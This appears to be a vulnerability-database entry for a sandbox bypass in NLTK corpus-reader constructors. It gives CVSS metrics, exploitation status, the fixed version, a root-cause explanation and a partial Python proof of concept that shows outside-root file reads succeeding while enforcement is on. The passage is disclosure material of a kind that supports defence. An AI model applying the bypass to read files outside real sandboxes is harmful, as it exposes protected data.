VulnerabilityPublished 2 Sep 2026Updated 29 Oct 2026

CVE-2026-79674: NLTK · Corpus Reader Sandbox Bypass

Affects acronymSource GCVE Database

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Not known to be exploited · CVSS 8.8 High : upgrade to 2.0.0_5 soon.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

8.8High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 2.0.0_5

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: Low
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 2 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade acronym to 2.0.0_5.

Affected software

Product	Affected	Fixed in
Homebrewacronym`pkg:brew/acronym`Other threats	Affected >=2.0.0 <2.0.0_5	Fixed in 2.0.0_5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

## Summary NLTK corpus-reader constructors can still reach outside-root file and database reads before the `nltk.pathsec` sandbox boundary is enforced. The PoC shows the safe path blocked by `pathsec.open`, then `LinThesaurusCorpusReader` and `PanLexLiteCorpusReader` succeeding in the same process. ## Affected Product - Product: NLTK - Asset / component: `nltk.corpus.reader` constructors - Version tested: `3.10.2` - Deployment / package / tag: commit `474af1f5a94b1b8d53fc2b6defec3a2ce7633b74` / PyPI `nltk` - Environment used for verification: Python 3.13.14 ## Vulnerability Details - Vulnerability class: path sandbox bypass / external control of file path - Required privileges: none beyond the ability to supply a corpus root path to a consumer call site - Entry point: `LinThesaurusCorpusReader(root)` and `PanLexLiteCorpusReader(root)` - Trust boundary crossed: NLTK data-root sandbox enforced by `nltk.pathsec` - Root affected functions: - [CorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/api.py#L73-L80) - [LinThesaurusCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/lin.py#L37-L43) - [PanLexLiteCorpusReader.__init__](https://github.com/nltk/nltk/blob/474af1f5a94b1b8d53fc2b6defec3a2ce7633b74/nltk/corpus/reader/panlex_lite.py#L45-L46) - Measured unsafe effect: outside-root file/database reads still happen with `ENFORCE=True` ## Root Cause `CorpusReader.__init__()` turns a string root into a `FileSystemPathPointer` without any `pathsec` validation, and these readers then use builtin `open()` or `sqlite3.connect()` directly on derived paths. The constructor path therefore never hits the sandbox guard that `pathsec.open()` enforces. ```python if zipfile: root = ZipFilePathPointer(zipfile, zipentry) else: root = FileSystemPathPointer(root) with open(path) as lin_file: ... self._c = sqlite3.connect(os.path.join(root, "db.sqlite")).cursor() ``` ## Proof of Concept Save the script as `hy01_raw_path_poc.py` in the checkout root and run `python hy01_raw_path_poc.py`. ```python #!/usr/bin/env python3 """PoC for HY-01: corpus-reader sandbox bypass. This script proves three facts: - pathsec blocks a direct read through the sandboxed file API - LinThesaurusCorpusReader still reaches builtin open() on an outside path - PanLexLiteCorpusReader still opens an outside sqlite database and loads data """ from __future__ import annotations import builtins import pathlib import sqlite3 import sys import tempfile from unittest.mock import patch try: import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader except ModuleNotFoundError: here = pathlib.Path(__file__).resolve() for base in (here.parent, *here.parents): if (base / "nltk").is_dir() and (base / "setup.py").exists(): sys.path.insert(0, str(base)) break else: raise RuntimeError( "Could not import nltk. Run this script from an NLTK checkout root " "or from an environment where the current checkout is installed." ) import nltk.pathsec as pathsec from nltk.corpus.reader.lin import LinThesaurusCorpusReader from nltk.corpus.reader.panlex_lite import PanLexLiteCorpusReader def main() -> int: pathsec.ENFORCE = True with patch.object(pathsec, "_get_allowed_roots", lambda: set()): with patch.object(pathsec.os, "getcwd", lambda: "sandbox-disabled"): with tempfile.TemporaryDirectory() as tmp: tmpdir = pathlib.Path(tmp) outside = tmpdir / "outside" outside.mkdir() blocked_file = outside / "blocked.txt" blocked_file.write_text("blocked", encoding="utf-8") control_target = str(blocked_file) try: with pathsec.open(control_target, "rb"): raise AssertionError( "pathsec.open unexpectedly allowed control path" ) except PermissionError: print("control:pathsec.open=blocked") lin_root = tmpdir / "lin" lin_root.mkdir() lin_file = lin_root / "simN.lsp" lin_file.write_text( '("business" (desc 1.0)\n\t"enterprise"\t0.9\n))\n', encoding="utf-8", ) opened = [] real_open = builtins.open def tracking_open(*args, **kwargs): opened.append(str(args[0])) return real_open(*args, **kwargs) with patch("builtins.open", tracking_open): LinThesaurusCorpusReader(str(lin_root)) if any(p.endswith("simN.lsp") for p

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